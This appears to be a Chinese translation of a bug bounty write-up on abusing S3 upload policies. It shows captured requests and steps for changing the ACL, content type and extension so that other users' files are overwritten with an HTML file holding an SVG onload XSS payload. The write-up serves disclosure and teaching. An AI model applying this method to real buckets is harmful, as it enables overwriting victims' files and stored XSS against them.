本文详细描述了如何通过修改ACL权限和自定义上传策略,实现覆盖AWS S3存储桶中其他用户文件的安全漏洞利用过程,涉及请求伪造和权限提升等技术细节。
滥用ACL权限覆盖S3存储桶中其他用户上传的文件/视频
大家好,今天我要分享在HackerOne某个项目中的发现。当时我正在应用程序中寻找IDOR漏洞,于是开始对每个请求进行模糊测试。
初始请求分析
首先捕获到设置S3上传策略的API请求:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
POST /api-2.0/s3-upload-signatures HTTP/1.1
Host: www.example.com
...
{
"expiration":"2018-12-18T11:58:24.376Z",
"conditions":[
{"acl":"private"},
{"bucket":"example-web-upload-bucket"},
{"Content-Type":""},
{"success_action_status":"200"},
{"key":"a4fe6f57-a208-43a8-8aab-be2ac6ad06f9.jpg"},
{"x-amz-meta-qqfilename":"1.jpg"},
["content-length-range","1","9007199254740992"]
]
}
|
文件上传请求
随后触发的实际文件上传请求:
1
2
3
4
5
6
7
8
9
10
|
POST / HTTP/1.1
Host: example-web-upload-bucket.s3.amazonaws.com
...
-----------------------------1268156844136880633597812894
Content-Disposition: form-data; name="key"
a4fe6f57-a208-43a8-8aab-be2ac6ad06f9.jpg
-----------------------------1268156844136880633597812894
Content-Disposition: form-data; name="acl"
public-read
...
|
漏洞利用过程
- 通过枚举发现存储桶中的现有文件
- 构造自定义策略修改关键参数:
- 将
acl
从private
改为public-read
- 修改
Content-Type
为text/html
- 将文件扩展名从
.jpg
改为.html
- 最终注入恶意HTML内容:
1
|
<svg/onload=prompt`1`;>
|
技术要点
- 通过覆盖现有文件实现存储持久化
- 滥用ACL权限提升实现横向影响
- 利用内容类型欺骗执行XSS攻击
感谢阅读!祝您有美好的一天。
[原文作者] Armaan Pathan
[技术平台] Hackerone/Bugcrowd
[涉及技术] AWS S3/Bug Bounty